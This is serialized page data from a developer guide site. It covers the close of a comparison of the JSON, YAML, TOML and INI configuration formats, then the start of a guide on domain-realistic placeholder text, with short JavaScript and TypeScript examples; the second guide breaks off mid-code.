complexity",[216,36941,15466],{},[216,36943,7639],{},[216,36945,36946],{},"Low-Medium",[216,36948,36949],{},"Very low",[199,36951,36952,36955,36958,36963,36967],{},[216,36953,36954],{},"Comments",[216,36956,36957],{},"❌",[216,36959,36960,36961],{},"✅ ",[143,36962,6852],{},[216,36964,36960,36965],{},[143,36966,6852],{},[216,36968,36960,36969,14237,36971],{},[143,36970,6852],{},[143,36972,36973],{},";",[199,36975,36976,36979,36982,36985,36988],{},[216,36977,36978],{},"Nested structures",[216,36980,36981],{},"✅ Objects\u002Farrays",[216,36983,36984],{},"✅ Indentation",[216,36986,36987],{},"✅ Tables",[216,36989,36990],{},"❌ Flat only",[199,36992,36993,36996,36999,37005,37008],{},[216,36994,36995],{},"Multiline strings",[216,36997,36998],{},"❌ Escapes only",[216,37000,36960,37001,1856,37003],{},[143,37002,7334],{},[143,37004,28226],{},[216,37006,37007],{},"✅ Triple quotes",[216,37009,36957],{},[199,37011,37012,37015,37018,37021,37024],{},[216,37013,37014],{},"Type inference",[216,37016,37017],{},"Explicit types",[216,37019,37020],{},"Inferred (risky)",[216,37022,37023],{},"Explicit + inferred",[216,37025,37026],{},"All strings",[199,37028,37029,37032,37035,37038,37040],{},[216,37030,37031],{},"Date\u002Ftime support",[216,37033,37034],{},"❌ String only",[216,37036,37037],{},"✅ Built-in",[216,37039,37037],{},[216,37041,36957],{},[199,37043,37044,37047,37050,37053,37058],{},[216,37045,37046],{},"Array of tables",[216,37048,37049],{},"✅ Arrays",[216,37051,37052],{},"✅ Lists",[216,37054,36960,37055],{},[143,37056,37057],{},"[[table]]",[216,37059,36957],{},[199,37061,37062,37065,37067,37069,37072],{},[216,37063,37064],{},"Parser availability",[216,37066,5921],{},[216,37068,7670],{},[216,37070,37071],{},"Growing",[216,37073,37074],{},"Standard lib",[11,37076,37078],{"id":37077},"json-syntax","JSON Syntax",[16,37080,37081],{},"JSON is the most widely supported format. Every language has a JSON parser, and every browser can parse it natively.",[135,37083,37085],{"className":23484,"code":37084,"language":23486,"meta":141,"style":141},"{\n  \"app\": {\n    \"name\": \"my-project\",\n    \"port\": 3000,\n    \"debug\": false\n  },\n  \"database\": {\n    \"host\": \"localhost\",\n    \"port\": 5432,\n    \"name\": \"myapp_dev\"\n  },\n  \"features\": [\"auth\", \"logging\", \"metrics\"]\n}\n",[143,37086,37087,37091,37099,37111,37123,37133,37137,37144,37156,37167,37176,37180,37204],{"__ignoreMap":141},[1560,37088,37089],{"class":1562,"line":1563},[1560,37090,23493],{"class":1570},[1560,37092,37093,37096],{"class":1562,"line":337},[1560,37094,37095],{"class":1576},"  \"app\"",[1560,37097,37098],{"class":1570},": {\n",[1560,37100,37101,37104,37106,37109],{"class":1562,"line":343},[1560,37102,37103],{"class":1576},"    \"name\"",[1560,37105,1663],{"class":1570},[1560,37107,37108],{"class":5634},"\"my-project\"",[1560,37110,11943],{"class":1570},[1560,37112,37113,37116,37118,37121],{"class":1562,"line":365},[1560,37114,37115],{"class":1576},"    \"port\"",[1560,37117,1663],{"class":1570},[1560,37119,37120],{"class":1576},"3000",[1560,37122,11943],{"class":1570},[1560,37124,37125,37128,37130],{"class":1562,"line":889},[1560,37126,37127],{"class":1576},"    \"debug\"",[1560,37129,1663],{"class":1570},[1560,37131,37132],{"class":1576},"false\n",[1560,37134,37135],{"class":1562,"line":1710},[1560,37136,11862],{"class":1570},[1560,37138,37139,37142],{"class":1562,"line":1717},[1560,37140,37141],{"class":1576},"  \"database\"",[1560,37143,37098],{"class":1570},[1560,37145,37146,37149,37151,37154],{"class":1562,"line":1747},[1560,37147,37148],{"class":1576},"    \"host\"",[1560,37150,1663],{"class":1570},[1560,37152,37153],{"class":5634},"\"localhost\"",[1560,37155,11943],{"class":1570},[1560,37157,37158,37160,37162,37165],{"class":1562,"line":2507},[1560,37159,37115],{"class":1576},[1560,37161,1663],{"class":1570},[1560,37163,37164],{"class":1576},"5432",[1560,37166,11943],{"class":1570},[1560,37168,37169,37171,37173],{"class":1562,"line":2524},[1560,37170,37103],{"class":1576},[1560,37172,1663],{"class":1570},[1560,37174,37175],{"class":5634},"\"myapp_dev\"\n",[1560,37177,37178],{"class":1562,"line":2529},[1560,37179,11862],{"class":1570},[1560,37181,37182,37185,37188,37191,37193,37196,37198,37201],{"class":1562,"line":2534},[1560,37183,37184],{"class":1576},"  \"features\"",[1560,37186,37187],{"class":1570},": [",[1560,37189,37190],{"class":5634},"\"auth\"",[1560,37192,1459],{"class":1570},[1560,37194,37195],{"class":5634},"\"logging\"",[1560,37197,1459],{"class":1570},[1560,37199,37200],{"class":5634},"\"metrics\"",[1560,37202,37203],{"class":1570},"]\n",[1560,37205,37206],{"class":1562,"line":2542},[1560,37207,1585],{"class":1570},[16,37209,37210,37213,37214,37217],{},[47,37211,37212],{},"Pros:"," Universal support, strict syntax catches errors early, fast parsing.\n",[47,37215,37216],{},"Cons:"," No comments, verbose quoting, trailing commas cause errors.",[11,37219,37221],{"id":37220},"yaml-syntax","YAML Syntax",[16,37223,37224],{},"YAML uses indentation to define structure, making it highly readable for humans.",[135,37226,37230],{"className":37227,"code":37228,"language":37229,"meta":141,"style":141},"language-yaml shiki shiki-themes github-light github-dark","app:\n  name: my-project\n  port: 3000\n  debug: false\n\n# Database configuration\ndatabase:\n  host: localhost\n  port: 5432\n  name: myapp_dev\n\nfeatures:\n  - auth\n  - logging\n  - metrics\n","yaml",[143,37231,37232,37239,37249,37259,37268,37272,37277,37284,37294,37303,37312,37316,37323,37331,37338],{"__ignoreMap":141},[1560,37233,37234,37237],{"class":1562,"line":1563},[1560,37235,37236],{"class":2484},"app",[1560,37238,19182],{"class":1570},[1560,37240,37241,37244,37246],{"class":1562,"line":337},[1560,37242,37243],{"class":2484},"  name",[1560,37245,1663],{"class":1570},[1560,37247,37248],{"class":5634},"my-project\n",[1560,37250,37251,37254,37256],{"class":1562,"line":343},[1560,37252,37253],{"class":2484},"  port",[1560,37255,1663],{"class":1570},[1560,37257,37258],{"class":1576},"3000\n",[1560,37260,37261,37264,37266],{"class":1562,"line":365},[1560,37262,37263],{"class":2484},"  debug",[1560,37265,1663],{"class":1570},[1560,37267,37132],{"class":1576},[1560,37269,37270],{"class":1562,"line":889},[1560,37271,1702],{"emptyLinePlaceholder":363},[1560,37273,37274],{"class":1562,"line":1710},[1560,37275,37276],{"class":1649},"# Database configuration\n",[1560,37278,37279,37282],{"class":1562,"line":1717},[1560,37280,37281],{"class":2484},"database",[1560,37283,19182],{"class":1570},[1560,37285,37286,37289,37291],{"class":1562,"line":1747},[1560,37287,37288],{"class":2484},"  host",[1560,37290,1663],{"class":1570},[1560,37292,37293],{"class":5634},"localhost\n",[1560,37295,37296,37298,37300],{"class":1562,"line":2507},[1560,37297,37253],{"class":2484},[1560,37299,1663],{"class":1570},[1560,37301,37302],{"class":1576},"5432\n",[1560,37304,37305,37307,37309],{"class":1562,"line":2524},[1560,37306,37243],{"class":2484},[1560,37308,1663],{"class":1570},[1560,37310,37311],{"class":5634},"myapp_dev\n",[1560,37313,37314],{"class":1562,"line":2529},[1560,37315,1702],{"emptyLinePlaceholder":363},[1560,37317,37318,37321],{"class":1562,"line":2534},[1560,37319,37320],{"class":2484},"features",[1560,37322,19182],{"class":1570},[1560,37324,37325,37328],{"class":1562,"line":2542},[1560,37326,37327],{"class":1570},"  - ",[1560,37329,37330],{"class":5634},"auth\n",[1560,37332,37333,37335],{"class":1562,"line":2558},[1560,37334,37327],{"class":1570},[1560,37336,37337],{"class":5634},"logging\n",[1560,37339,37340,37342],{"class":1562,"line":2570},[1560,37341,37327],{"class":1570},[1560,37343,37344],{"class":5634},"metrics\n",[16,37346,37347,37349,37350,37352],{},[47,37348,37212],{}," Supports comments, very readable, anchors reduce repetition.\n",[47,37351,37216],{}," Indentation errors are easy to make, boolean coercion surprises, slower parsing.",[11,37354,37356],{"id":37355},"toml-syntax","TOML Syntax",[16,37358,37359,37360,37363,37364,468],{},"TOML (Tom's Obvious Minimal Language) aims for the simplicity of INI with the power of YAML. It is the standard format for Rust's ",[143,37361,37362],{},"Cargo.toml"," and Python's ",[143,37365,37366],{},"pyproject.toml",[135,37368,37370],{"className":8420,"code":37369,"language":8422,"meta":141,"style":141},"[app]\nname = \"my-project\"\nport = 3000\ndebug = false\n\n# Database configuration\n[database]\nhost = \"localhost\"\nport = 5432\nname = \"myapp_dev\"\n\nfeatures = [\"auth\", \"logging\", \"metrics\"]\n",[143,37371,37372,37377,37382,37387,37392,37396,37400,37405,37410,37415,37420,37424],{"__ignoreMap":141},[1560,37373,37374],{"class":1562,"line":1563},[1560,37375,37376],{},"[app]\n",[1560,37378,37379],{"class":1562,"line":337},[1560,37380,37381],{},"name = \"my-project\"\n",[1560,37383,37384],{"class":1562,"line":343},[1560,37385,37386],{},"port = 3000\n",[1560,37388,37389],{"class":1562,"line":365},[1560,37390,37391],{},"debug = false\n",[1560,37393,37394],{"class":1562,"line":889},[1560,37395,1702],{"emptyLinePlaceholder":363},[1560,37397,37398],{"class":1562,"line":1710},[1560,37399,37276],{},[1560,37401,37402],{"class":1562,"line":1717},[1560,37403,37404],{},"[database]\n",[1560,37406,37407],{"class":1562,"line":1747},[1560,37408,37409],{},"host = \"localhost\"\n",[1560,37411,37412],{"class":1562,"line":2507},[1560,37413,37414],{},"port = 5432\n",[1560,37416,37417],{"class":1562,"line":2524},[1560,37418,37419],{},"name = \"myapp_dev\"\n",[1560,37421,37422],{"class":1562,"line":2529},[1560,37423,1702],{"emptyLinePlaceholder":363},[1560,37425,37426],{"class":1562,"line":2534},[1560,37427,37428],{},"features = [\"auth\", \"logging\", \"metrics\"]\n",[16,37430,37431,37433,37434,37436],{},[47,37432,37212],{}," Simple grammar, supports comments, explicit types, unambiguous parsing.\n",[47,37435,37216],{}," Less widespread adoption than JSON\u002FYAML, table syntax gets verbose for deep nesting.",[11,37438,37440],{"id":37439},"ini-syntax","INI Syntax",[16,37442,37443],{},"INI is the simplest configuration format — flat key-value pairs grouped into sections. It has been around since the 1980s.",[135,37445,37449],{"className":37446,"code":37447,"language":37448,"meta":141,"style":141},"language-ini shiki shiki-themes github-light github-dark","[app]\nname = my-project\nport = 3000\ndebug = false\n\n[database]\nhost = localhost\nport = 5432\nname = myapp_dev\n","ini",[143,37450,37451,37455,37460,37464,37468,37472,37476,37481,37485],{"__ignoreMap":141},[1560,37452,37453],{"class":1562,"line":1563},[1560,37454,37376],{},[1560,37456,37457],{"class":1562,"line":337},[1560,37458,37459],{},"name = my-project\n",[1560,37461,37462],{"class":1562,"line":343},[1560,37463,37386],{},[1560,37465,37466],{"class":1562,"line":365},[1560,37467,37391],{},[1560,37469,37470],{"class":1562,"line":889},[1560,37471,1702],{"emptyLinePlaceholder":363},[1560,37473,37474],{"class":1562,"line":1710},[1560,37475,37404],{},[1560,37477,37478],{"class":1562,"line":1717},[1560,37479,37480],{},"host = localhost\n",[1560,37482,37483],{"class":1562,"line":1747},[1560,37484,37414],{},[1560,37486,37487],{"class":1562,"line":2507},[1560,37488,37489],{},"name = myapp_dev\n",[16,37491,37492,37494,37495,37497],{},[47,37493,37212],{}," Extremely simple, no special characters, humans cannot break it easily.\n",[47,37496,37216],{}," No nested structures, all values are strings (must parse types manually), no arrays.",[11,37499,29324],{"id":29323},[193,37501,37502,37513],{},[196,37503,37504],{},[199,37505,37506,37508,37511],{},[202,37507,21080],{},[202,37509,37510],{},"Recommended Format",[202,37512,23393],{},[211,37514,37515,37527,37539,37553,37565,37577,37597,37611],{},[199,37516,37517,37520,37524],{},[216,37518,37519],{},"REST API payloads",[216,37521,37522],{},[47,37523,13411],{},[216,37525,37526],{},"Industry standard, every client expects it",[199,37528,37529,37532,37536],{},[216,37530,37531],{},"CI\u002FCD pipelines",[216,37533,37534],{},[47,37535,36926],{},[216,37537,37538],{},"GitHub Actions, GitLab CI, CircleCI all use YAML",[199,37540,37541,37544,37548],{},[216,37542,37543],{},"Rust \u002F Go project config",[216,37545,37546],{},[47,37547,36929],{},[216,37549,37550,37552],{},[143,37551,37362],{}," and Go modules use TOML natively",[199,37554,37555,37558,37562],{},[216,37556,37557],{},"Legacy system settings",[216,37559,37560],{},[47,37561,36932],{},[216,37563,37564],{},"Already in use, simple enough for flat config",[199,37566,37567,37570,37574],{},[216,37568,37569],{},"Kubernetes manifests",[216,37571,37572],{},[47,37573,36926],{},[216,37575,37576],{},"Ecosystem standard, anchors reduce repetition",[199,37578,37579,37582,37586],{},[216,37580,37581],{},"Package manifests",[216,37583,37584],{},[47,37585,13411],{},[216,37587,37588,1459,37591,1459,37594,37596],{},[143,37589,37590],{},"package.json",[143,37592,37593],{},"composer.json",[143,37595,37362],{}," (exception)",[199,37598,37599,37602,37608],{},[216,37600,37601],{},"Documentation configs",[216,37603,37604,1531,37606],{},[47,37605,36926],{},[47,37607,36929],{},[216,37609,37610],{},"Comments are essential for explaining settings",[199,37612,37613,37616,37620],{},[216,37614,37615],{},"Embedded \u002F IoT devices",[216,37617,37618],{},[47,37619,13411],{},[216,37621,37622],{},"Small parsers, fast deserialization",[11,37624,37626],{"id":37625},"mixing-formats-in-one-project","Mixing Formats in One Project",[16,37628,37629],{},"Most real projects use multiple formats simultaneously. This is perfectly normal — each format serves a different purpose:",[41,37631,37632,37639,37647,37655,37662],{},[44,37633,37634,37638],{},[47,37635,37636],{},[143,37637,37590],{}," — JSON (npm standard, consumed by tooling)",[44,37640,37641,37646],{},[47,37642,37643],{},[143,37644,37645],{},"tsconfig.json"," — JSON with comments (TypeScript supports JSONC)",[44,37648,37649,37654],{},[47,37650,37651],{},[143,37652,37653],{},".github\u002Fworkflows\u002F*.yml"," — YAML (GitHub Actions requirement)",[44,37656,37657,37661],{},[47,37658,37659],{},[143,37660,37362],{}," — TOML (Rust standard)",[44,37663,37664,37668],{},[47,37665,37666],{},[143,37667,26648],{}," — INI-like (dotenv convention)",[16,37670,37671],{},"The key is consistency within each domain. Do not invent your own YAML config when your ecosystem already uses JSON.",[11,37673,37675],{"id":37674},"migration-considerations","Migration Considerations",[16,37677,37678],{},"Switching configuration formats? Keep these points in mind:",[41,37680,37681,37687,37693,37699],{},[44,37682,37683,37686],{},[47,37684,37685],{},"JSON → YAML:"," Straightforward, but add comments and remove quotes thoughtfully. Watch for boolean coercion of unquoted values.",[44,37688,37689,37692],{},[47,37690,37691],{},"YAML → JSON:"," All anchors expand inline. Comments are lost. Multiline strings become escaped sequences.",[44,37694,37695,37698],{},[47,37696,37697],{},"INI → TOML:"," A natural upgrade. Sections become tables. Add arrays and nested tables gradually.",[44,37700,37701,37704],{},[47,37702,37703],{},"TOML → YAML:"," Possible but rarely needed. TOML's explicit typing translates cleanly to YAML.",[16,37706,37707],{},"Always migrate incrementally. Convert one file at a time, validate the output, and commit before moving to the next.",[11,37709,37711],{"id":37710},"the-rise-of-toml","The Rise of TOML",[16,37713,37714,37715,37717,37718,37720,37721,37724],{},"TOML is gaining ground fast. Python adopted it for ",[143,37716,37366],{}," (PEP 518\u002F621), and Rust has used ",[143,37719,37362],{}," since the beginning. Even Go considered it for ",[143,37722,37723],{},"go.work"," files. The appeal is clear: TOML combines the readability of YAML with the unambiguous parsing of JSON — without the indentation headaches.",[16,37726,37727],{},"If you are starting a new project without ecosystem constraints, TOML deserves serious consideration.",[11,37729,1355],{"id":1354},[41,37731,37732,37737,37742,37747,37752,37755],{},[44,37733,37734,37736],{},[47,37735,13411],{}," for APIs and machine-generated config — universal, fast, strict.",[44,37738,37739,37741],{},[47,37740,36926],{}," for human-maintained config — readable, supports comments and anchors, but watch for gotchas.",[44,37743,37744,37746],{},[47,37745,36929],{}," for modern project config — simple, unambiguous, growing ecosystem.",[44,37748,37749,37751],{},[47,37750,36932],{}," for simple, flat settings — legacy systems or trivial configuration.",[44,37753,37754],{},"Mixing formats across a project is normal — just stay consistent within each domain.",[44,37756,37757],{},"Always validate after migrating between formats.",[11,37759,286],{"id":285},[16,37761,37762],{},"Need to convert between JSON and YAML? These tools can help:",[41,37764,37765,37772],{},[44,37766,37767,37771],{},[98,37768,37770],{"href":37769},"\u002Ftools\u002Fjson-yaml","JSON to YAML Converter"," — Convert between JSON and YAML instantly",[44,37773,37774,37778],{},[98,37775,37777],{"href":37776},"\u002Ftools\u002Fjson-formatter","JSON Formatter"," — Validate and pretty-print JSON",[11,37780,321],{"id":320},[41,37782,37783,37790],{},[44,37784,37785,37789],{},[98,37786,37788],{"href":37787},"\u002Fguides\u002Fjson-vs-yaml","JSON vs YAML"," — Deep comparison with a decision tree",[44,37791,37792,37796],{},[98,37793,37795],{"href":37794},"\u002Fguides\u002Fyaml-syntax-guide","YAML Syntax Guide"," — Anchors, multiline strings, and common pitfalls",[2043,37798,37799],{},"html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}",{"title":141,"searchDepth":337,"depth":337,"links":37801},[37802,37803,37804,37805,37806,37807,37808,37809,37810,37811,37812,37813,37814],{"id":36902,"depth":337,"text":36903},{"id":36912,"depth":337,"text":36913},{"id":37077,"depth":337,"text":37078},{"id":37220,"depth":337,"text":37221},{"id":37355,"depth":337,"text":37356},{"id":37439,"depth":337,"text":37440},{"id":29323,"depth":337,"text":29324},{"id":37625,"depth":337,"text":37626},{"id":37674,"depth":337,"text":37675},{"id":37710,"depth":337,"text":37711},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},{"id":320,"depth":337,"text":321},"Compare the most popular configuration file formats — JSON, YAML, TOML, and INI — with syntax examples and selection criteria.",{"immutable":363},"\u002Fguides\u002Fconfiguration-file-formats",{"title":36897,"description":37815},"guides\u002Fconfiguration-file-formats","GFxDzwWJuJk2eFcYPnFMOtpBAvQU7SpMcJs6CaYUfmY",{"id":37822,"title":37823,"body":37824,"date":2070,"description":38468,"extension":361,"meta":38469,"navigation":363,"path":38470,"readingTime":1710,"seo":38471,"stem":38472,"__hash__":38473},"guides\u002Fguides\u002Fcontent-aware-placeholder-text.md","Content-Aware Placeholder Text Guide",{"type":8,"value":37825,"toc":38458},[37826,37829,37833,37836,37839,37850,37853,37857,37860,37864,37867,37887,37891,37894,37930,37935,37939,37942,38166,38169,38173,38176,38193,38208,38214,38220,38224,38227,38233,38239,38245,38445,38448,38455],[16,37827,37828],{},"Generic placeholder text like lorem ipsum fills space but teaches you nothing about how your layout handles real content. Content-aware placeholders—dummy text modeled after the domain, vocabulary, and sentence patterns of your actual product—surface layout problems earlier, improve design reviews, and bridge the gap between wireframe and production. This guide covers strategies for generating and using domain-realistic placeholder text in your projects.",[11,37830,37832],{"id":37831},"why-domain-relevant-placeholders-matter","Why Domain-Relevant Placeholders Matter",[16,37834,37835],{},"Every product domain has a characteristic writing style. A healthcare dashboard uses clinical terminology and formal sentence structures. A social media app uses informal language, abbreviations, and emoji. An e-commerce platform mixes product names, pricing, and promotional language.",[16,37837,37838],{},"When you fill a healthcare prototype with lorem ipsum, you miss critical layout issues:",[41,37840,37841,37844,37847],{},[44,37842,37843],{},"Drug names like \"Amoxicillin-Clavulanate 875mg\u002F125mg\" are far longer than typical lorem ipsum words",[44,37845,37846],{},"Dosage instructions create nested list structures that generic text does not exercise",[44,37848,37849],{},"Regulatory disclaimers run to hundreds of characters in a single paragraph",[16,37851,37852],{},"Domain-aware placeholder text catches these problems during design, not after content migration.",[11,37854,37856],{"id":37855},"building-a-domain-text-corpus","Building a Domain Text Corpus",[16,37858,37859],{},"The most effective placeholder text comes from analyzing real content in your domain. Build a corpus in three steps:",[33,37861,37863],{"id":37862},"_1-collect-sample-content","1. Collect Sample Content",[16,37865,37866],{},"Gather 20-50 representative text samples from your product or competitors. Include:",[41,37868,37869,37872,37875,37878,37881,37884],{},[44,37870,37871],{},"Navigation labels and button text",[44,37873,37874],{},"Headings and subheadings",[44,37876,37877],{},"Body copy of varying lengths (short, medium, long)",[44,37879,37880],{},"Lists, tables, and structured data",[44,37882,37883],{},"Error messages and empty states",[44,37885,37886],{},"Footer text and legal disclaimers",[33,37888,37890],{"id":37889},"_2-extract-patterns","2. Extract Patterns",[16,37892,37893],{},"Analyze the corpus for measurable characteristics:",[193,37895,37896,37906],{},[196,37897,37898],{},[199,37899,37900,37902,37904],{},[202,37901,15609],{},[202,37903,15614],{},[202,37905,16318],{},[211,37907,37908,37919],{},[199,37909,37910,37913,37916],{},[216,37911,37912],{},"Average word length",[216,37914,37915],{},"Character count \u002F word count",[216,37917,37918],{},"Determines column width needs",[199,37920,37921,37924,37927],{},[216,37922,37923],{},"Sentence length range",[216,37925,37926],{},"Words per sentence, min to max",[216,37928,37929],{},"Affects line-height and paragraph spacing",[41,37931,37932],{},[44,37933,37934],{},"Vocabulary frequency | Word frequency distribution | Identifies domain terms that need space |\n| Heading patterns | Character count of headings | Tests truncation and wrapping behavior |\n| List item count | Items per list | Validates scroll and overflow handling |",[33,37936,37938],{"id":37937},"_3-generate-from-patterns","3. Generate from Patterns",[16,37940,37941],{},"Use the extracted patterns to generate placeholder text that maintains the statistical properties of your domain. The simplest approach is to shuffle and recombine real sentences:",[135,37943,37945],{"className":1607,"code":37944,"language":1609,"meta":141,"style":141},"function generatePlaceholder(corpus, wordCount) {\n  const sentences = corpus\n    .split(\u002F[.!?]+\u002F)\n    .map(s => s.trim())\n    .filter(s => s.length > 0)\n\n  let result = []\n  while (result.join(' ').length \u003C wordCount * 7) {\n    const sentence = sentences[Math.floor(Math.random() * sentences.length)]\n    result.push(sentence)\n  }\n\n  return result.join('. ') + '.'\n}\n",[143,37946,37947,37966,37978,37998,38019,38041,38045,38058,38089,38122,38133,38137,38141,38162],{"__ignoreMap":141},[1560,37948,37949,37951,37954,37956,37959,37961,37964],{"class":1562,"line":1563},[1560,37950,8648],{"class":1669},[1560,37952,37953],{"class":1566}," generatePlaceholder",[1560,37955,1688],{"class":1570},[1560,37957,37958],{"class":2219},"corpus",[1560,37960,1459],{"class":1570},[1560,37962,37963],{"class":2219},"wordCount",[1560,37965,9345],{"class":1570},[1560,37967,37968,37970,37973,37975],{"class":1562,"line":337},[1560,37969,28057],{"class":1669},[1560,37971,37972],{"class":1576}," sentences",[1560,37974,8186],{"class":1669},[1560,37976,37977],{"class":1570}," corpus\n",[1560,37979,37980,37983,37985,37987,37989,37992,37994,37996],{"class":1562,"line":343},[1560,37981,37982],{"class":1570},"    .",[1560,37984,9356],{"class":1566},[1560,37986,1688],{"class":1570},[1560,37988,9423],{"class":5634},[1560,37990,37991],{"class":1576},"[.!?]",[1560,37993,9448],{"class":1669},[1560,37995,9423],{"class":5634},[1560,37997,8252],{"class":1570},[1560,37999,38000,38002,38004,38006,38008,38010,38013,38016],{"class":1562,"line":365},[1560,38001,37982],{"class":1570},[1560,38003,9371],{"class":1566},[1560,38005,1688],{"class":1570},[1560,38007,18727],{"class":2219},[1560,38009,9378],{"class":1669},[1560,38011,38012],{"class":1570}," s.",[1560,38014,38015],{"class":1566},"trim",[1560,38017,38018],{"class":1570},"())\n",[1560,38020,38021,38023,38025,38027,38029,38031,38033,38035,38037,38039],{"class":1562,"line":889},[1560,38022,37982],{"class":1570},[1560,38024,23109],{"class":1566},[1560,38026,1688],{"class":1570},[1560,38028,18727],{"class":2219},[1560,38030,9378],{"class":1669},[1560,38032,38012],{"class":1570},[1560,38034,9418],{"class":1576},[1560,38036,32916],{"class":1669},[1560,38038,13541],{"class":1576},[1560,38040,8252],{"class":1570},[1560,38042,38043],{"class":1562,"line":1710},[1560,38044,1702],{"emptyLinePlaceholder":363},[1560,38046,38047,38050,38053,38055],{"class":1562,"line":1717},[1560,38048,38049],{"class":1669},"  let",[1560,38051,38052],{"class":1570}," result ",[1560,38054,7297],{"class":1669},[1560,38056,38057],{"class":1570}," []\n",[1560,38059,38060,38063,38066,38068,38070,38073,38075,38077,38079,38082,38084,38087],{"class":1562,"line":1747},[1560,38061,38062],{"class":1669},"  while",[1560,38064,38065],{"class":1570}," (result.",[1560,38067,9459],{"class":1566},[1560,38069,1688],{"class":1570},[1560,38071,38072],{"class":5634},"' '",[1560,38074,9368],{"class":1570},[1560,38076,9418],{"class":1576},[1560,38078,28030],{"class":1669},[1560,38080,38081],{"class":1570}," wordCount ",[1560,38083,8069],{"class":1669},[1560,38085,38086],{"class":1576}," 7",[1560,38088,9345],{"class":1570},[1560,38090,38091,38093,38096,38098,38101,38103,38106,38109,38112,38114,38117,38119],{"class":1562,"line":2507},[1560,38092,9385],{"class":1669},[1560,38094,38095],{"class":1576}," sentence",[1560,38097,8186],{"class":1669},[1560,38099,38100],{"class":1570}," sentences[Math.",[1560,38102,9406],{"class":1566},[1560,38104,38105],{"class":1570},"(Math.",[1560,38107,38108],{"class":1566},"random",[1560,38110,38111],{"class":1570},"() ",[1560,38113,8069],{"class":1669},[1560,38115,38116],{"class":1570}," sentences.",[1560,38118,9418],{"class":1576},[1560,38120,38121],{"class":1570},")]\n",[1560,38123,38124,38127,38130],{"class":1562,"line":2524},[1560,38125,38126],{"class":1570},"    result.",[1560,38128,38129],{"class":1566},"push",[1560,38131,38132],{"class":1570},"(sentence)\n",[1560,38134,38135],{"class":1562,"line":2529},[1560,38136,4959],{"class":1570},[1560,38138,38139],{"class":1562,"line":2534},[1560,38140,1702],{"emptyLinePlaceholder":363},[1560,38142,38143,38145,38148,38150,38152,38155,38157,38159],{"class":1562,"line":2542},[1560,38144,9350],{"class":1669},[1560,38146,38147],{"class":1570}," result.",[1560,38149,9459],{"class":1566},[1560,38151,1688],{"class":1570},[1560,38153,38154],{"class":5634},"'. '",[1560,38156,1733],{"class":1570},[1560,38158,9448],{"class":1669},[1560,38160,38161],{"class":5634}," '.'\n",[1560,38163,38164],{"class":1562,"line":2558},[1560,38165,1585],{"class":1570},[16,38167,38168],{},"For more sophisticated generation, Markov chain models trained on your corpus produce text that mirrors domain vocabulary and sentence structure without copying real content verbatim.",[11,38170,38172],{"id":38171},"maintaining-realistic-edge-cases","Maintaining Realistic Edge Cases",[16,38174,38175],{},"Good placeholder text is not just about average content lengths. It must also exercise edge cases that generic generators skip:",[16,38177,38178,38181,38182,38185,38186,1856,38189,38192],{},[47,38179,38180],{},"Long strings without breaks."," URLs, email addresses, and file paths do not wrap naturally. Include examples like ",[143,38183,38184],{},"\u002Fapi\u002Fv2\u002Fusers\u002F8f3a1b2c-notation\u002Fsessions\u002Factive"," to test ",[143,38187,38188],{},"word-break",[143,38190,38191],{},"overflow-wrap"," behavior.",[16,38194,38195,38198,38199,1459,38202,1466,38205,468],{},[47,38196,38197],{},"Nested formatting."," Real content mixes bold, links, and inline code within paragraphs. Your placeholder should include ",[143,38200,38201],{},"\u003Cstrong>important terms\u003C\u002Fstrong>",[143,38203,38204],{},"\u003Ca href=\"#\">linked phrases\u003C\u002Fa>",[143,38206,38207],{},"\u003Ccode>variable_names\u003C\u002Fcode>",[16,38209,38210,38213],{},[47,38211,38212],{},"Multilingual content."," If your product supports multiple languages, include placeholder text in each language. German words are 15-20% longer than English on average; CJK characters require different line-breaking rules.",[16,38215,38216,38219],{},[47,38217,38218],{},"Empty and truncated states."," Not every field has content. Include explicitly empty placeholders (\"—\", \"N\u002FA\", or blank) to test how your layout handles missing data.",[11,38221,38223],{"id":38222},"workflow-integration","Workflow Integration",[16,38225,38226],{},"Integrate domain placeholders into your design and development workflow:",[16,38228,38229,38232],{},[47,38230,38231],{},"Design tools."," Figma and Sketch plugins can pull placeholder text from a shared corpus. Set up a plugin that fetches domain-specific text instead of lorem ipsum.",[16,38234,38235,38238],{},[47,38236,38237],{},"Component libraries."," Define default slot content in your component stories using domain-realistic text. Storybook stories with lorem ipsum props miss the same problems that lorem ipsum wireframes miss.",[16,38240,38241,38244],{},[47,38242,38243],{},"Prototyping."," When building HTML prototypes, use a composable that returns placeholder text from your corpus:",[135,38246,38248],{"className":17509,"code":38247,"language":17511,"meta":141,"style":141},"\u002F\u002F composables\u002FusePlaceholder.ts\nconst corpora = {\n  healthcare: await import('~\u002Fcontent\u002Fplaceholders\u002Fhealthcare.json'),\n  ecommerce: await import('~\u002Fcontent\u002Fplaceholders\u002Fecommerce.json'),\n}\n\nexport function usePlaceholder(domain: keyof typeof corpora) {\n  const corpus = corpora[domain]\n  return {\n    heading: () => corpus.headings[Math.floor(Math.random() * corpus.headings.length)],\n    paragraph: (words = 50) => generateFromCorpus(corpus.body, words),\n    label: () => corpus.labels[Math.floor(Math.random() * corpus.labels.length)],\n  